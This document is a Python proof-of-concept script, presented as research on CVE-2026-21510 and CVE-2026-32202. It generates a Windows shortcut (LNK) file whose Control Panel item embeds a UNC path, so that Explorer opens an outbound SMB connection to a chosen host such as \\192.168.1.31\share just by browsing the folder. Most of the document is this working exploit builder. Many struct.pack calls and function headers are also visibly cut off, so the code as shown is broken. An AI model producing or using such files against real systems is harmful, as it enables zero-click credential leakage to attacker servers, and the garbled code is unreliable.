""" Generate a test LNK file containing a _IDCONTROLW structure (UNC path). Research purposes: reproducing the LinkTargetIDList structure as described in CVE-2026-21510 / CVE-2026-32202 (Akamai research). _IDCONTROLW layout (reconstructed from shell32.dll via IDA Pro): +0x00 WORD cb — total size of the structure including cb itself +0x02 WORD pad1 — padding (0) +0x04 DWORD dwAppletID — applet ID (negative for registered CPL, e.g. -201) +0x08 WORD pad2 — 0 (validated by _IsUnicodeCPLWorker) +0x0A WORD pad3 — 0 (validated by _IsUnicodeCPLWorker) +0x0C BYTE pad4 — 0 (validated by _IsUnicodeCPLWorker) +0x0D BYTE typeFlag — 0x6A (Unicode CPL marker) +0x0E WORD pad5 — 0 +0x10 DWORD pad6 — 0 +0x14 WORD cchModule — length of ModulePath in WCHARs (including null terminator) +0x16 WORD offName — offset of Name from start of data[] in WCHARs +0x18 WCHAR data[] — ModulePath\\0Name\\0InfoTip (UTF-16LE) Usage: python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --out poc.lnk python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --applet-id -201 --name "My CPL" python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --no-dump """ import struct import uuid import argparse from pathlib import Path # ── IDList[0]: Control Panel root CLSID ────────────────────────────────────── def make_idlist_clsid(clsid_str: str) -> bytes: """ Build an ItemID for a CLSID shell item (type 0x1F = root shell item). clsid_str: CLSID string, e.g. '26EE0668-A00A-44D7-9371-BEB064C98683' """ clsid_bytes = uuid.UUID(clsid_str).bytes_le data = struct.pack(' bytes: """ Build the ItemID for "All Control Panel Items" (category index 0). Reconstructed from CControlPanelCategoryFolder::CreateIDList: *(_WORD*)v5 = 12 // cb *((_WORD*)v5 + 1) = 1 // flags v5[1] = 0x39DE2184 // magic identifier v5[2] = 0 // category index """ return struct.pack(' bytes: """ Build a _IDCONTROLW structure. Args: module_path : path to the CPL module (UNC or local) name : display name of the applet infotip : tooltip string (may be empty) applet_id : signed applet ID; negative for registered CPLs (default: -201 = 0xFFFFFF37) Returns: Raw bytes of the _IDCONTROLW structure (cb WORD is at offset 0). """ # Encode strings as UTF-16LE with null terminator mod_enc = (module_path + '\x00').encode('utf-16-le') name_enc = (name + '\x00').encode('utf-16-le') tip_enc = (infotip + '\x00').encode('utf-16-le') if infotip else b'\x00\x00' # cchModule: length of ModulePath in WCHARs including null terminator cch_module = len(module_path) + 1 # offName: offset of Name from data[0] in WCHARs (Name immediately follows ModulePath) off_name = cch_module data_blob = mod_enc + name_enc + tip_enc total_size = 0x18 + len(data_blob) # 0x18 = fixed header size buf = bytearray(total_size) struct.pack_into(' bytes: """Concatenate ItemID entries and append the 2-byte null terminator.""" return b''.join(items) + b'\x00\x00' # ── Shell Link Header (MS-SHLLINK §2.1) ────────────────────────────────────── def make_shell_link_header() -> bytes: """ Build a minimal 76-byte ShellLinkHeader. LinkFlags: bit 0 = HasLinkTargetIDList bit 6 = IsUnicode """ HEADER_SIZE = 0x4C LINK_CLSID = bytes.fromhex('0114020000000000C000000000000046') LINK_FLAGS = struct.pack(' None: """ Assemble a complete LNK file with the following IDList layout: IDList[0] — Control Panel root CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} IDList[1] — CControlPanelCategoryFolder item (category 0 = All Control Panel Items) IDList[2] — _IDCONTROLW with embedded UNC/local CPL path When Explorer navigates to a folder containing this LNK, it calls CControlPanelFolder::GetUIObjectOf to extract an icon, which calls GetModuleMapped -> PathFileExistsW(), triggering an outbound SMB connection if module_path is a UNC path (CVE-2026-32202). """ item0 = make_idlist_clsid('26EE0668-A00A-44D7-9371-BEB064C98683') item1 = make_idlist_all_cpanel() item2 = make_idcontrolw( module_path = unc_path, name = name, infotip = infotip, applet_id = applet_id, ) idlist_data = make_idlist([item0, item1, item2]) idlist_size = len(idlist_data) link_target_idlist = struct.pack(' argparse.Namespace: parser = argparse.ArgumentParser( description=( "Generate a test LNK file with an _IDCONTROLW structure.\n" "Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis." ), formatter_class=argparse.RawDescriptionHelpFormatter, epilog=( "Examples:\n" r" python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl" "\n" r" python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk" "\n" r" python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump" ), ) parser.add_argument( '--unc', '-u', required=True, metavar='PATH', help='UNC or local path to embed in _IDCONTROLW (e.g. \\\\192.168.1.31\\share\\test.cpl)', ) parser.add_argument( '--out', '-o', default='test_idcontrolw.lnk', metavar='FILE', help='Output LNK filename (default: test_idcontrolw.lnk)', ) parser.add_argument( '--applet-id', '-a', type=int, default=-201, metavar='INT', help='Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)', ) parser.add_argument( '--name', '-n', default='Research CPL', metavar='STR', help='Display name of the CPL applet (default: "Research CPL")', ) parser.add_argument( '--infotip', '-i', default='CVE-2026-21510 research', metavar='STR', help='Tooltip string (default: "CVE-2026-21510 research")', ) parser.add_argument( '--no-dump', action='store_true', help='Suppress the hex dump of _IDCONTROLW', ) return parser.parse_args() if __name__ == '__main__': args = parse_args() build_lnk( unc_path = args.unc, output_path = args.out, name = args.name, infotip = args.infotip, applet_id = args.applet_id, dump = not args.no_dump, )